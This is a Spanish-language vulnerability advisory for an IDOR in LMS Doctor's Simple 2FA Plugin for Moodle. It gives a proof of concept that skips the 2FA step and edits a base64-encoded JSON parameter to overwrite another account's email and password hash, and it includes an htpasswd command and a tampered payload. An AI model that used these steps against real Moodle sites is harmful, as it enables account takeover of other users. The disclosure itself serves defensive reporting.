
Una vulnerabilidad de referencias directas a objetos inseguras (IDOR) en 'Simple 2FA Plugin for Moodle' de LMS Doctor
Una vulnerabilidad de referencias directas a objetos inseguras (IDOR) en el "Simple 2FA Plugin for Moodle" de LMS Doctor
Detalles de la vulnerabilidad
Riesgo : Crítico
Vendedor: LMS Doctor - Simple 2 Factor Authentication Plugin For Moodle
Divulgado por: Flaviu Popescu
Descripción: Una vulnerabilidad de referencias directas a objetos inseguras (IDOR) en el Simple 2FA Plugin for Moodle de "LMS Doctor". Permite a atacantes remotos actualizar registros sensibles como el correo electrónico, la contraseña y el número de teléfono de otras cuentas de usuario.
Prueba de concepto:
Proceso de inicio de sesión inicial usando una cuenta auto-registrada (dionach.tester):
POST /login/index.php

Una vez que se muestra el indicador de 2FA, el atacante navega forzosamente a la siguiente URL en lugar de proporcionar el código 2FA.
POST /auth/simple2fa/profile.php

Esta solicitud es capturada en Burp Suite:

El parámetro "u" contiene una cadena codificada en base64. La cadena se decodifica, lo que revela datos en formato JSON como se muestra a continuación:

El atacante manipula los datos JSON, modificando el id, el correo electrónico, la contraseña y el nombre. Los datos JSON se codifican nuevamente en base64, se actualizan en Burp Suite y se envían al servidor.
Nueva generación de hash para la contraseña:
$ htpasswd -bnBC 10 "" pwn3d! | tr -d ':\n'\n
$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy
Fragmento de datos manipulados:
{"id":"8045","auth":"email","confirmed":"1","policyagreed":"0","deleted":"0","suspended":"0","mnethostid":"1","username":"dionach.tester2","password":"$2y$10$g/U56Hj5kb.C1mOoO6MR.Zrv1c4ml04z97CC.BdJPsMl.6LM4HVy","idnumber":"","firstname":"Dio","lastname":"Nach","email":"flaviu.popescu+1337@[..]", [..]
Resultando en que la cuenta de la víctima, id 8045 (dionach.tester2), se actualiza como se muestra a continuación:
